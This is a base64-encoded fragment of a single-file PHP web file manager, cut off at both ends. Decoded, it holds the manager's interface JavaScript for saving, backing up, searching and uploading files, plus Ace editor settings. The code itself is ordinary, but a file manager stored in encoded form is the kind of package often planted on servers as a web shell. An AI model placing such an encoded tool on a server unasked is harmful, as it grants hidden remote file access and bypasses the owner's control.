CAgZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSwgdCkgeyBmb3IgKHZhciBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkgZVtuXS5jaGVja2VkID0gImJvb2xlYW4iID09IHR5cGVvZiB0ID8gdCA6ICFlW25dLmNoZWNrZWQgfQ0KICAgIGZ1bmN0aW9uIGdldF9jaGVja2JveGVzKCkgeyBmb3IgKHZhciBlID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoImZpbGVbXSIpLCB0ID0gW10sIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSAoZVtuXS50eXBlID0gImNoZWNrYm94IikgJiYgdC5wdXNoKGVbbl0pOyByZXR1cm4gdCB9DQogICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHsgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSwgITApIH0NCiAgICBmdW5jdGlvbiB1bnNlbGVjdF9hbGwoKSB7IGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKSB9DQogICAgZnVuY3Rpb24gaW52ZXJ0X2FsbCgpIHsgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSkgfQ0KICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHsgdmFyIGUgPSBnZXRfY2hlY2tib3hlcygpOyBlLnB1c2godGhpcyksIGNoYW5nZV9jaGVja2JveGVzKGUpIH0NCiAgICBmdW5jdGlvbiBiYWNrdXAoZSwgdCkgeyAvLyBDcmVhdGUgZmlsZSBiYWNrdXAgd2l0aCAuYmNrDQogICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LA0KICAgICAgICAgICAgYSA9ICJwYXRoPSIgKyBlICsgIiZmaWxlPSIgKyB0ICsgIiZ0b2tlbj0iKyB3aW5kb3cuY3NyZiArIiZ0eXBlPWJhY2t1cCZhamF4PXRydWUiOw0KICAgICAgICByZXR1cm4gbi5vcGVuKCJQT1NUIiwgIiIsICEwKSwgbi5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LXR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiksIG4ub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KQ0KICAgICAgICB9LCBuLnNlbmQoYSksICExDQogICAgfQ0KICAgIC8vIFRvYXN0IG1lc3NhZ2UNCiAgICBmdW5jdGlvbiB0b2FzdCh0eHQpIHsgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic25hY2tiYXIiKTt4LmlubmVySFRNTD10eHQ7eC5jbGFzc05hbWUgPSAic2hvdyI7c2V0VGltZW91dChmdW5jdGlvbigpeyB4LmNsYXNzTmFtZSA9IHguY2xhc3NOYW1lLnJlcGxhY2UoInNob3ciLCAiIik7IH0sIDMwMDApOyB9DQogICAgLy8gU2F2ZSBmaWxlDQogICAgZnVuY3Rpb24gZWRpdF9zYXZlKGUsIHQpIHsNCiAgICAgICAgdmFyIG4gPSAiYWNlIiA9PSB0ID8gZWRpdG9yLmdldFNlc3Npb24oKS5nZXRWYWx1ZSgpIDogZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm5vcm1hbC1lZGl0b3IiKS52YWx1ZTsNCiAgICAgICAgaWYgKHR5cGVvZiBuICE9PSAndW5kZWZpbmVkJyAmJiBuICE9PSBudWxsKSB7DQogICAgICAgICAgICBpZiAodHJ1ZSkgew0KICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge2FqYXg6IHRydWUsIGNvbnRlbnQ6IG4sIHR5cGU6ICdzYXZlJywgdG9rZW46IHdpbmRvdy5jc3JmfTsNCg0KICAgICAgICAgICAgICAgICQuYWpheCh7DQogICAgICAgICAgICAgICAgICAgIHR5cGU6ICJQT1NUIiwNCiAgICAgICAgICAgICAgICAgICAgdXJsOiB3aW5kb3cubG9jYXRpb24sDQogICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLA0KICAgICAgICAgICAgICAgICAgICBjb250ZW50VHlwZTogImFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgiLA0KICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihtZXMpe3RvYXN0KCJTYXZlZCBTdWNjZXNzZnVsbHkiKTsgd2luZG93Lm9uYmVmb3JldW5sb2FkID0gZnVuY3Rpb24oKSB7cmV0dXJufX0sDQogICAgICAgICAgICAgICAgICAgIGZhaWx1cmU6IGZ1bmN0aW9uKG1lcykge3RvYXN0KCJFcnJvcjogdHJ5IGFnYWluIik7fSwNCiAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge3RvYXN0KGA8cCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjpyZWQiPiR7bWVzLnJlc3BvbnNlVGV4dH08L3A+YCk7fQ0KICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImZvcm0iKTsNCiAgICAgICAgICAgICAgICBhLnNldEF0dHJpYnV0ZSgibWV0aG9kIiwgIlBPU1QiKSwgYS5zZXRBdHRyaWJ1dGUoImFjdGlvbiIsICIiKTsNCiAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInRleHRhcmVhIik7DQogICAgICAgICAgICAgICAgby5zZXRBdHRyaWJ1dGUoInR5cGUiLCAidGV4dGFyZWEiKSwgby5zZXRBdHRyaWJ1dGUoIm5hbWUiLCAic2F2ZWRhdGEiKTsNCiAgICAgICAgICAgICAgICBsZXQgY3ggPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbnB1dCIpOyBjeC5zZXRBdHRyaWJ1dGUoInR5cGUiLCAiaGlkZGVuIik7Y3guc2V0QXR0cmlidXRlKCJuYW1lIiwgInRva2VuIik7Y3guc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIHdpbmRvdy5jc3JmKTsNCiAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pOw0KICAgICAgICAgICAgICAgIG8uYXBwZW5kQ2hpbGQoYyksIGEuYXBwZW5kQ2hpbGQobyksIGEuYXBwZW5kQ2hpbGQoY3gpLCBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpLCBhLnN1Ym1pdCgpDQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkgeyAkKCIuanMtbmV3LXB3ZCIpLnRvZ2dsZUNsYXNzKCdoaWRkZW4nKTsgfQ0KICAgIC8vIFNhdmUgU2V0dGluZ3MNCiAgICBmdW5jdGlvbiBzYXZlX3NldHRpbmdzKCR0aGlzKSB7DQogICAgICAgIGxldCBmb3JtID0gJCgkdGhpcyk7DQogICAgICAgICQuYWpheCh7DQogICAgICAgICAgICB0eXBlOiBmb3JtLmF0dHIoJ21ldGhvZCcpLCB1cmw6IGZvcm0uYXR0cignYWN0aW9uJyksIGRhdGE6IGZvcm0uc2VyaWFsaXplKCkrIiZ0b2tlbj0iKyB3aW5kb3cuY3NyZiArIiZhamF4PSIrdHJ1ZSwNCiAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uIChkYXRhKSB7aWYoZGF0YSkgeyB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7fX0NCiAgICAgICAgfSk7IHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgLy9DcmVhdGUgbmV3IHBhc3N3b3JkIGhhc2gNCiAgICBmdW5jdGlvbiBuZXdfcGFzc3dvcmRfaGFzaCgkdGhpcykgew0KICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLCAkcHdkID0gJCgiI2pzLXB3ZC1yZXN1bHQiKTsgJHB3ZC52YWwoJycpOw0KICAgICAgICAkLmFqYXgoew0KICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSwgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLCBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpKyImdG9rZW49Iisgd2luZG93LmNzcmYgKyImYWpheD0iK3RydWUsDQogICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbiAoZGF0YSkgeyBpZihkYXRhKSB7ICRwd2QudmFsKGRhdGEpOyB9IH0NCiAgICAgICAgfSk7IHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgLy8gVXBsb2FkIGZpbGVzIHVzaW5nIFVSTCBAcGFyYW0ge09iamVjdH0NCiAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHsNCiAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSwgcmVzdWx0V3JhcHBlciA9ICQoImRpdiNqcy11cmwtdXBsb2FkX19saXN0Iik7DQogICAgICAgICQuYWpheCh7DQogICAgICAgICAgICB0eXBlOiBmb3JtLmF0dHIoJ21ldGhvZCcpLCB1cmw6IGZvcm0uYXR0cignYWN0aW9uJyksIGRhdGE6IGZvcm0uc2VyaWFsaXplKCkrIiZ0b2tlbj0iKyB3aW5kb3cuY3NyZiArIiZhamF4PSIrdHJ1ZSwNCiAgICAgICAgICAgIGJlZm9yZVNlbmQ6IGZ1bmN0aW9uKCkgeyBmb3JtLmZpbmQoImlucHV0W25hbWU9dXBsb2FkdXJsXSIpLmF0dHIoImRpc2FibGVkIiwiZGlzYWJsZWQiKTsgZm9ybS5maW5kKCJidXR0b24iKS5oaWRlKCk7IGZvcm0uZmluZCgiLmxkcy1mYWNlYm9vayIpLmFkZENsYXNzKCdzaG93LW1lJyk7IH0sDQogICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbiAoZGF0YSkgew0KICAgICAgICAgICAgICAgIGlmKGRhdGEpIHsNCiAgICAgICAgICAgICAgICAgICAgZGF0YSA9IEpTT04ucGFyc2UoZGF0YSk7DQogICAgICAgICAgICAgICAgICAgIGlmKGRhdGEuZG9uZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXN1Y2Nlc3Mgcm93Ij5VcGxvYWRlZCBTdWNjZXNzZnVsOiAnK2RhdGEuZG9uZS5uYW1lKyc8L2Rpdj4nKTsgZm9ybS5maW5kKCJpbnB1dFtuYW1lPXVwbG9hZHVybF0iKS52YWwoJycpOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYoZGF0YVsnZmFpbCddKSB7IHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1kYW5nZXIgcm93Ij5FcnJvcjogJytkYXRhLmZhaWwubWVzc2FnZSsnPC9kaXY+Jyk7IH0NCiAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKCJpbnB1dFtuYW1lPXVwbG9hZHVybF0iKS5yZW1vdmVBdHRyKCJkaXNhYmxlZCIpO2Zvcm0uZmluZCgiYnV0dG9uIikuc2hvdygpO2Zvcm0uZmluZCgiLmxkcy1mYWNlYm9vayIpLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHsNCiAgICAgICAgICAgICAgICBmb3JtLmZpbmQoImlucHV0W25hbWU9dXBsb2FkdXJsXSIpLnJlbW92ZUF0dHIoImRpc2FibGVkIik7Zm9ybS5maW5kKCJidXR0b24iKS5zaG93KCk7Zm9ybS5maW5kKCIubGRzLWZhY2Vib29rIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTtjb25zb2xlLmVycm9yKHhocik7DQogICAgICAgICAgICB9DQogICAgICAgIH0pOyByZXR1cm4gZmFsc2U7DQogICAgfQ0KICAgIC8vIFNlYXJjaCB0ZW1wbGF0ZQ0KICAgIGZ1bmN0aW9uIHNlYXJjaF90ZW1wbGF0ZShkYXRhKSB7DQogICAgICAgIHZhciByZXNwb25zZSA9ICIiOw0KICAgICAgICAkLmVhY2goZGF0YSwgZnVuY3Rpb24gKGtleSwgdmFsKSB7DQogICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9Ij9wPSR7dmFsLnBhdGh9JnZpZXc9JHt2YWwubmFtZX0iPiR7dmFsLnBhdGh9LyR7dmFsLm5hbWV9PC9hPjwvbGk+YDsNCiAgICAgICAgfSk7DQogICAgICAgIHJldHVybiByZXNwb25zZTsNCiAgICB9DQogICAgLy8gQWR2YW5jZSBzZWFyY2gNCiAgICBmdW5jdGlvbiBmbV9zZWFyY2goKSB7DQogICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKCJpbnB1dCNhZHZhbmNlZC1zZWFyY2giKS52YWwoKSwgc2VhcmNoV3JhcHBlciA9ICQoInVsI3NlYXJjaC13cmFwcGVyIiksIHBhdGggPSAkKCIjanMtc2VhcmNoLW1vZGFsIikuYXR0cigiaHJlZiIpLCBfaHRtbCA9ICIiLCAkbG9hZGVyID0gJCgiZGl2Lmxkcy1mYWNlYm9vayIpOw0KICAgICAgICBpZighIXNlYXJjaFR4dCAmJiBzZWFyY2hUeHQubGVuZ3RoID4gMiAmJiBwYXRoKSB7DQogICAgICAgICAgICB2YXIgZGF0YSA9IHthamF4OiB0cnVlLCBjb250ZW50OiBzZWFyY2hUeHQsIHBhdGg6cGF0aCwgdHlwZTogJ3NlYXJjaCcsIHRva2VuOiB3aW5kb3cuY3NyZiB9Ow0KICAgICAgICAgICAgJC5hamF4KHsNCiAgICAgICAgICAgICAgICB0eXBlOiAiUE9TVCIsDQogICAgICAgICAgICAgICAgdXJsOiB3aW5kb3cubG9jYXRpb24sDQogICAgICAgICAgICAgICAgZGF0YTogZGF0YSwNCiAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCcnKTsNCiAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5hZGRDbGFzcygnc2hvdy1tZScpOw0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSl7DQogICAgICAgICAgICAgICAgICAgICRsb2FkZXIucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTsNCiAgICAgICAgICAgICAgICAgICAgZGF0YSA9IEpTT04ucGFyc2UoZGF0YSk7DQogICAgICAgICAgICAgICAgICAgIGlmKGRhdGEgJiYgZGF0YS5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKF9odG1sKTsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz0ibS0yIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7IH0NCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHsgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpOyBzZWFyY2hXcmFwcGVyLmh0bWwoJzxwIGNsYXNzPSJtLTIiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPC9wPicpOyB9LA0KICAgICAgICAgICAgICAgIGZhaWx1cmU6IGZ1bmN0aW9uKG1lcykgeyAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7IHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9Im0tMiI+RVJST1I6IFRyeSBhZ2FpbiBsYXRlciE8L3A+Jyk7fQ0KICAgICAgICAgICAgfSk7DQogICAgICAgIH0gZWxzZSB7IHNlYXJjaFdyYXBwZXIuaHRtbCgiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhIik7IH0NCiAgICB9DQoNCiAgICAvLyBhY3Rpb24gY29uZmlybSBkYWlsb2cgbW9kYWwNCiAgICBmdW5jdGlvbiBjb25maXJtRGFpbG9nKGUsIGlkID0gMCwgdGl0bGUgPSAiQWN0aW9uIiwgY29udGVudCA9ICIiLCBhY3Rpb24gPSBudWxsKSB7DQogICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgY29uc3QgdHBsT2JqID0ge2lkLCB0aXRsZSwgY29udGVudDogZGVjb2RlVVJJQ29tcG9uZW50KGNvbnRlbnQucmVwbGFjZSgvXCsvZywgJyAnKSksIGFjdGlvbn07DQogICAgICAgIGxldCB0cGwgPSAkKCIjanMtdHBsLWNvbmZpcm0iKS5odG1sKCk7DQogICAgICAgICQoIi5tb2RhbC5jb25maXJtRGFpbG9nIikucmVtb3ZlKCk7DQogICAgICAgICQoJyN3cmFwcGVyJykuYXBwZW5kKHRlbXBsYXRlKHRwbCx0cGxPYmopKTsNCiAgICAgICAgJCgiI2NvbmZpcm1EYWlsb2ctIit0cGxPYmouaWQpLm1vZGFsKCdzaG93Jyk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgDQoNCiAgICAvLyBvbiBtb3VzZSBob3ZlciBpbWFnZSBwcmV2aWV3DQogICAgIWZ1bmN0aW9uKHMpe3MucHJldmlld0ltYWdlPWZ1bmN0aW9uKGUpe3ZhciBvPXMoZG9jdW1lbnQpLHQ9Ii5wcmV2aWV3SW1hZ2UiLGE9cy5leHRlbmQoe3hPZmZzZXQ6MjAseU9mZnNldDotMjAsZmFkZUluOiJmYXN0Iixjc3M6e3BhZGRpbmc6IjVweCIsYm9yZGVyOiIxcHggc29saWQgI2NjY2NjYyIsImJhY2tncm91bmQtY29sb3IiOiIjZmZmIn0sZXZlbnRTZWxlY3RvcjoiW2RhdGEtcHJldmlldy1pbWFnZV0iLGRhdGFLZXk6InByZXZpZXdJbWFnZSIsb3ZlcmxheUlkOiJwcmV2aWV3LWltYWdlLXBsdWdpbi1vdmVybGF5In0sZSk7cmV0dXJuIG8ub2ZmKHQpLG8ub24oIm1vdXNlb3ZlciIrdCxhLmV2ZW50U2VsZWN0b3IsZnVuY3Rpb24oZSl7cygicCMiK2Eub3ZlcmxheUlkKS5yZW1vdmUoKTt2YXIgbz1zKCI8cD4iKS5hdHRyKCJpZCIsYS5vdmVybGF5SWQpLmNzcygicG9zaXRpb24iLCJhYnNvbHV0ZSIpLmNzcygiZGlzcGxheSIsIm5vbmUiKS5hcHBlbmQocygnPGltZyBjbGFzcz0iYy1wcmV2aWV3LWltZyI+JykuYXR0cigic3JjIixzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO2EuY3NzJiZvLmNzcyhhLmNzcykscygiYm9keSIpLmFwcGVuZChvKSxvLmNzcygidG9wIixlLnBhZ2VZK2EueU9mZnNldCsicHgiKS5jc3MoImxlZnQiLGUucGFnZVgrYS54T2Zmc2V0KyJweCIpLmZhZGVJbihhLmZhZGVJbil9KSxvLm9uKCJtb3VzZW91dCIrdCxhLmV2ZW50U2VsZWN0b3IsZnVuY3Rpb24oKXtzKCIjIithLm92ZXJsYXlJZCkucmVtb3ZlKCl9KSxvLm9uKCJtb3VzZW1vdmUiK3QsYS5ldmVudFNlbGVjdG9yLGZ1bmN0aW9uKGUpe3MoIiMiK2Eub3ZlcmxheUlkKS5jc3MoInRvcCIsZS5wYWdlWSthLnlPZmZzZXQrInB4IikuY3NzKCJsZWZ0IixlLnBhZ2VYK2EueE9mZnNldCsicHgiKX0pLHRoaXN9LHMucHJldmlld0ltYWdlKCl9KGpRdWVyeSk7DQoNCiAgICAvLyBEb20gUmVhZHkgRXZlbnRzDQogICAgJChkb2N1bWVudCkucmVhZHkoIGZ1bmN0aW9uICgpIHsNCiAgICAgICAgLy8gZGF0YVRhYmxlIGluaXQNCiAgICAgICAgdmFyICR0YWJsZSA9ICQoJyNtYWluLXRhYmxlJyksDQogICAgICAgICAgICB0YWJsZUxuZyA9ICR0YWJsZS5maW5kKCd0aCcpLmxlbmd0aCwNCiAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcgKSA/IFswLCA0LDUsNl0gOiB0YWJsZUxuZyA9PSA1ID8gWzAsNF0gOiBbM107DQogICAgICAgICAgICBtYWluVGFibGUgPSAkKCcjbWFpbi10YWJsZScpLkRhdGFUYWJsZSh7cGFnaW5nOiBmYWxzZSwgaW5mbzogZmFsc2UsIG9yZGVyOiBbXSwgY29sdW1uRGVmczogW3t0YXJnZXRzOiBfdGFyZ2V0cywgb3JkZXJhYmxlOiBmYWxzZX1dDQogICAgICAgIH0pOw0KICAgICAgICAvLyBmaWx0ZXIgdGFibGUNCiAgICAgICAgJCgnI3NlYXJjaC1hZGRvbicpLm9uKCAna2V5dXAnLCBmdW5jdGlvbiAoKSB7DQogICAgICAgICAgICBtYWluVGFibGUuc2VhcmNoKCB0aGlzLnZhbHVlICkuZHJhdygpOw0KICAgICAgICB9KTsNCiAgICAgICAgJCgiaW5wdXQjYWR2YW5jZWQtc2VhcmNoIikub24oJ2tleXVwJywgZnVuY3Rpb24gKGUpIHsNCiAgICAgICAgICAgIGlmIChlLmtleUNvZGUgPT09IDEzKSB7IGZtX3NlYXJjaCgpOyB9DQogICAgICAgIH0pOw0KICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCAnY2xpY2snLCBmdW5jdGlvbiAoKSB7IGZtX3NlYXJjaCgpOyB9KTsNCiAgICAgICAgLy91cGxvYWQgbmF2IHRhYnMNCiAgICAgICAgJCgiLmZtLXVwbG9hZC13cmFwcGVyIC5jYXJkLWhlYWRlci10YWJzIikub24oImNsaWNrIiwgJ2EnLCBmdW5jdGlvbihlKXsNCiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTtsZXQgdGFyZ2V0PSQodGhpcykuZGF0YSgndGFyZ2V0Jyk7DQogICAgICAgICAgICAkKCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnMgYSIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTskKHRoaXMpLmFkZENsYXNzKCdhY3RpdmUnKTsNCiAgICAgICAgICAgICQoIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC10YWJzLWNvbnRhaW5lciIpLmFkZENsYXNzKCdoaWRkZW4nKTskKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpOw0KICAgICAgICB9KTsNCiAgICB9KTsNCjwvc2NyaXB0Pg0KPD9waHAgaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmIGlzc2V0KCRfR0VUWydlbnYnXSkgJiYgRk1fRURJVF9GSUxFICYmICFGTV9SRUFET05MWSk6DQogICAgICAgIA0KICAgICAgICAkZXh0ID0gcGF0aGluZm8oJF9HRVRbImVkaXQiXSwgUEFUSElORk9fRVhURU5TSU9OKTsNCiAgICAgICAgJGV4dCA9ICAkZXh0ID09ICJqcyIgPyAiamF2YXNjcmlwdCIgOiAgJGV4dDsNCiAgICAgICAgPz4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvYWNlLzEuMTMuMS9hY2UuanMiPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQ+DQogICAgICAgIHZhciBlZGl0b3IgPSBhY2UuZWRpdCgiZWRpdG9yIik7DQogICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZSgge3BhdGg6ImFjZS9tb2RlLzw/cGhwIGVjaG8gJGV4dDsgPz4iLCBpbmxpbmU6dHJ1ZX0gKTsNCiAgICAgICAgLy9lZGl0b3Iuc2V0VGhlbWUoImFjZS90aGVtZS90d2lsaWdodCIpOyAvL0RhcmsgVGhlbWUNCiAgICAgICAgZnVuY3Rpb24gYWNlX2NvbW1lbmQgKGNtZCkgeyBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7IH0NCiAgICAgICAgZWRpdG9yLmNvbW1hbmRzLmFkZENvbW1hbmRzKFt7DQogICAgICAgICAgICBuYW1lOiAnc2F2ZScsIGJpbmRLZXk6IHt3aW46ICdDdHJsLVMnLCAgbWFjOiAnQ29tbWFuZC1TJ30sDQogICAgICAgICAgICBleGVjOiBmdW5jdGlvbihlZGl0b3IpIHsgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTsgfQ0KICAgICAgICB9XSk7DQogICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHsNCiAgICAgICAgICAgIHZhciAkbW9kZUVsID0gJCgic2VsZWN0I2pzLWFjZS1tb2RlIiksICR0aGVtZUVsID0gJCgic2VsZWN0I2pzLWFjZS10aGVtZSIpLCAkZm9udFNpemVFbCA9ICQoInNlbGVjdCNqcy1hY2UtZm9udFNpemUiKSwgb3B0aW9uTm9kZSA9IGZ1bmN0aW9uKHR5cGUsIGFycil7IHZhciAkT3B0aW9uID0gIiI7ICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkgeyAkT3B0aW9uICs9ICI8b3B0aW9uIHZhbHVlPSciK3R5cGUraSsiJz4iICsgdmFsICsgIjwvb3B0aW9uPiI7IH0pOyByZXR1cm4gJE9wdGlvbjsgfSwNCiAgICAgICAgICAgICAgICBfZGF0YSA9IHsiYWNlVGhlbWUiOnsiYnJpZ2h0Ijp7ImNocm9tZSI6IkNocm9tZSIsImNsb3VkcyI6IkNsb3VkcyIsImNyaW1zb25fZWRpdG9yIjoiQ3JpbXNvbiBFZGl0b3IiLCJkYXduIjoiRGF3biIsImRyZWFtd2VhdmVyIjoiRHJlYW13ZWF2ZXIiLCJlY2xpcHNlIjoiRWNsaXBzZSIsImdpdGh1YiI6IkdpdEh1YiIsImlwbGFzdGljIjoiSVBsYXN0aWMiLCJzb2xhcml6ZWRfbGlnaHQiOiJTb2xhcml6ZWQgTGlnaHQiLCJ0ZXh0bWF0ZSI6IlRleHRNYXRlIiwidG9tb3Jyb3ciOiJUb21vcnJvdyIsInhjb2RlIjoiWENvZGUiLCJrdXJvaXIiOiJLdXJvaXIiLCJrYXR6ZW5taWxjaCI6IkthdHplbk1pbGNoIiwic3Fsc2VydmVyIjoiU1FMIFNlcnZlciJ9LCJkYXJrIjp7ImFtYmlhbmNlIjoiQW1iaWFuY2UiLCJjaGFvcyI6IkNoYW9zIiwiY2xvdWRzX21pZG5pZ2h0IjoiQ2xvdWRzIE1pZG5pZ2h0IiwiZHJhY3VsYSI6IkRyYWN1bGEiLCJjb2JhbHQiOiJDb2JhbHQiLCJncnV2Ym94IjoiR3J1dmJveCIsImdvYiI6IkdyZWVuIG9uIEJsYWNrIiwiaWRsZV9maW5nZXJzIjoiaWRsZSBGaW5nZXJzIiwia3JfdGhlbWUiOiJrclRoZW1lIiwibWVyYml2b3JlIjoiTWVyYml2b3JlIiwibWVyYml2b3JlX3NvZnQiOiJNZXJiaXZvcmUgU29mdCIsIm1vbm9faW5kdXN0cmlhbCI6Ik1vbm8gSW5kdXN0cmlhbCIsIm1vbm9rYWkiOiJNb25va2FpIiwicGFzdGVsX29uX2RhcmsiOiJQYXN0ZWwgb24gZGFyayIsInNvbGFyaXplZF9kYXJrIjoiU29sYXJpemVkIERhcmsiLCJ0ZXJtaW5hbCI6IlRlcm1pbmFsIiwidG9tb3Jyb3dfbmlnaHQiOiJUb21vcnJvdyBOaWdodCIsInRvbW9ycm93X25pZ2h0X2JsdWUiOiJUb21vcnJvdyBOaWdodCBCbHVlIiwidG9tb3Jyb3dfbmlnaHRfYnJpZ2h0IjoiVG9tb3Jyb3cgTmlnaHQgQnJpZ2h0IiwidG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXMiOiJUb21vcnJvdyBOaWdodCA4MHMiLCJ0d2lsaWdodCI6IlR3aWxpZ2h0IiwidmlicmFudF9pbmsiOiJWaWJyYW50IEluayJ9fSwiYWNlTW9kZSI6eyJqYXZhc2NyaXB0IjoiSmF2YVNjcmlwdCIsImFiYXAiOiJBQkFQIiwiYWJjIjoiQUJDIiwiYWN0aW9uc2NyaXB0IjoiQWN0aW9uU2NyaXB0IiwiYWRhIjoiQURBIiwiYXBhY2hlX2NvbmYiOiJBcGFjaGUgQ29uZiIsImFzY2lpZG9jIjoiQXNjaWlEb2MiLCJhc2wiOiJBU0wiLCJhc3NlbWJseV94ODYiOiJBc3NlbWJseSB4ODYiLCJhdXRvaG90a2V5IjoiQXV0b0hvdEtleSIsImFwZXgiOiJBcGV4IiwiYmF0Y2hmaWxlIjoiQmF0Y2hGaWxlIiwiYnJvIjoiQnJvIiwiY19jcHAiOiJDIGFuZCBDKysiLCJjOXNlYXJjaCI6IkM5U2VhcmNoIiwiY2lycnUiOiJDaXJydSIsImNsb2p1cmUiOiJDbG9qdXJlIiwiY29ib2wiOiJDb2JvbCIsImNvZmZlZSI6IkNvZmZlZVNjcmlwdCIsImNvbGRmdXNp